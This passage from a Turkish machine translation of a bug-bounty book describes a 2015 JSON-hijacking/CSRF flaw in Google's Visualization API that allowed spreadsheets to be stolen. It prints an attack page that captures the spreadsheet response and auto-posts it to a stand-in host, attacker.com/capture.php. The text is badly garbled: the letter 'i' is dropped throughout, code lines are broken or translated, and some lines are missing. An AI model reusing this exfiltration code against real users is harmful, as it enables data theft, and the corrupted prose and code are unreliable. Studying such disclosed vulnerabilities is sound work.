Zorluk : Orta
URL : https://docs.google.com/spreadsheets/d/KEY Rapor Bağlantısı : https://rodneybeede.com6
Rapor Tar h : 29 Ek m 2015 Ödemel Ödül : Açıklanmadı Tanım :
Ek m 2015’te, Rodney Beede Google’da olab lecek lg nç b r güvenl k açığı buldu.
B r saldırganın, e-tablo k ml ğ n b lmes durumunda e-tabloları çalmasına z n verd . Buydu Özell kle Google’ın HTTP GET stekler n n gerçekleşt rd ğ b r faktörler b rleş m n n sonucu CSRF güvenl k açığı oluşturan ve b r OAuth bel rtec çermeyen
JSON çeren geçerl b r Javascr pt nesnes . Ona uzanarak, o yeter nce naz kt örneğ n paylaşılmasına z n ver n.
Düzeltmeden önce, Google’ın Görselleşt rme API’sı, gel şt r c ler n Google E-Tablolar’ı sorgulamalarını sağladı.
Google Dr ve’da depolanan e-tablolardan b lg ç n. Bu başarılab l rd şuna benzeyen b r HTTP GET steğ :
URL’n n ayrıntıları öneml değ l, bu yüzden ayrılmayacağız. Öneml olan
Bu steğ yaparken, Google gönder len b r OAauth bel rtec eklemem ş veya doğrulamamıştır, veya başka tür b r CSRF koruması. Sonuç olarak, saldırgan steğ çağırab l r
Mağdur adına kötü n yetl b r web sayfası aracılığıyla (örneğ n, Rodney'n n zn yle):
6 google.v sual zat on.Query = new Object ();
7 google.v sual zat on.Query.setResponse = funct on (goods) { 8 google.response = JSON.str ng fy (ürünler, tanımsız, 2);
9 }
10 </ Scr pt>
11
12 <! - Bağımsız değ şken olarak gömülü JSON d zg s ne sah p Javascr pt' döndürür ->
13 <scr pt type = "text / javascr pt" src = "https: //docs.google.com/spreadsheets/d/1 \
14 bWK2wx57QJLCsWh-jPQS07-2nka EaXPEDNGoVZwjOA / gv z / tq? Headers = 2 ve aralık = A1: H & amp \ 15 ; sheet = Sheet1 & amp; tqx = reqId% 3A0 " > </scr pt>
16
17 <Scr pt>
18 şlev kaçakçılığı (mallar) {
19 document.getElementById ('cargo') .TextText = mal;
20 document.getElementById ( 'g zl ') göndermek ().;
21 }
22 </ Scr pt>
23 </ Head>
24
25 <body onload = "smuggle (google.response);" >
26 <form act on = "https://attacker.com/capture.php" method = "POST" d = "g zl " >
27 <textarea d = "cargo" name = "cargo" satırlar = "35" cols = "70" > </textarea>
28 </ Form>
29
30 </ Body>
31 </html>
Bunu yıkalım. Göre Google'ın belgeler nde 7 , JSON yanıtı alır
Javascr pt nesnes ndek ver ler. B r stek b r responseHandler değer çerm yorsa,
7https://developers.google.com/chart/ nteract ve/docs/dev/ mplement ng_data_source#json-response-format
Sayfa 179
OAuth 167
varsayılan değer şudur google.v sual zat on.Query.setResponse . Yan , bunları akılda tutarak, 3. satırdak komut dosyası, anon m b r şlev tanımlamamız gereken nesneler oluşturmaya başlar Javascr pt nesnes le ver ler m z aldığımızda setResponse ç n çağrılacak
Google'dan.
Böylece, 8. satırda, google nesnes ndek yanıtı, yanıtın JSON değer ne ayarlıyoruz . Nesne bas tçe geçerl JSON çerd ğ nden, bu sorunsuz çalışır. İşte
yayıldıktan sonra örnek b r cevap (y ne Rodney' n zn yle):
{
Ş md , bu noktada, zek okuyucular Cross Or g n'e ne olduğunu merak etm ş olab l rler.
Kaynak Paylaşımı korumaları? Komut dosyanız Google’ın yanıtına nasıl er şeb l r?
ve kullan? Pek , Google çeren b r Javascr pt nesnes döndürdüğü ç n çıkıyor B r JSON d z s ve bu nesne anon m değ l (yan , varsayılan değer
setResponse), tarayıcı bunu geçerl Javascr pt olarak değerlend r r ve böylece saldırganların okumasını sağlar ve kullan. Meşru b r senaryoyu uzak b r s teden kend başınıza eklemey düşünün
HTML, aynı f k r. Senaryo sadece b r JSON nesnes çer yor olsaydı, olmazdı geçerl Javascr pt ve er şemed k.
Kısa sürede, bu güvenl k açığı b r süred r JSON olarak b l nen
uçak kaçırma, gasp, hırsızlık. Bunu kullanmak, anon m Javascr pt nesneler ç n de mümkündü.
Javascr pt Object.prototype öğes n geçers z kılarak. def neSetter yöntem , ancak bu Chrome 27, F refox 21 ve IE 10.
Kötü n yetl sayfamız yüklend ğ nde Rodney' n örneğ ne ger dönersek , onload olayı 25 satırındak body et ket m z n şley c s , satır 18'den kaçak şlev n gerçekleşt r r.
B z textarea elemanı olsun kargo hattının 27. formda ve b z m yayılmasına metn ayarlamak sac cevabı. Formu Rodney'n n web s tes ne gönder yoruz ve başarıyla çaldık
ver .
İlg nç b r şek lde, Rodney' n Google le olan etk leş m ne göre, bunu değ şt rmek b r
API'n n kend s nde bas t düzeltme ve gerekl değ ş kl kler. Sonuç olarak, Ek m ayında rapor ederken 29, 2015, bu 15 Eylül 2016'ya kadar çözülmed .
Sayfa 180
OAuth 168
çıkarımlar
Burada b rkaç paket serv s var. İlk olarak, OAuth güvenl k açıkları her zaman lg l değ ld r bel rteçler çalmak. OAuth tarafından korunan API stekler ne d kkat ed n.
bel rtec gönderm yor veya doğrulamıyor (ör. OAuth bel rteç başlığını kaldırmayı deney n b r tanımlayıcı varsa, URL'dek sayfa k ml ğ g b ). İk nc s , bu öneml
Tarayıcıların Javascr pt ve JSON'u nasıl yorumladığını anlamak ve anlamak. Bu güvenl k açığı, Google’ın geçerl b r şek lde döndüğü ç n kısmen mümkün SetResponse aracılığıyla er ş leb l r JSON çeren Javascr pt nesnes . Olsaydı anon m b r Javascr pt d z s , mümkün olmazdı. Son olarak, ken
K taptak ortak b r tema se, belgeler okuyun. Google’ın dokümantasyonu
Yanıtlar hakkında, gönder len ve çalışan b r kavram kanıtı gel şt rmen n anahtarı oldu.
elektron k tablo ver ler n uzaktak b r sunucuya
özet
OAuth, lk olduğunuzda başınızı etrafa sarmak ç n karmaşık b r şlem olab l r ya da en azından ben m ç n ve konuştuğum ve öğrend ğ m b lg sayar korsanlarıydı.
Bununla b rl kte, b r kez anladığınızda, ver len güvenl k açıkları ç n çok fazla potans yel vardır.
bu karmaşıklık. B r şeyler test ederken, g b yaratıcı çözümler aramaya devam ed n
Ph l ppe üçüncü part uygulamaları devralmakta ve Prakhar g b etk alanı sonekler n kötüye kullanmaktadır.
Sayfa 181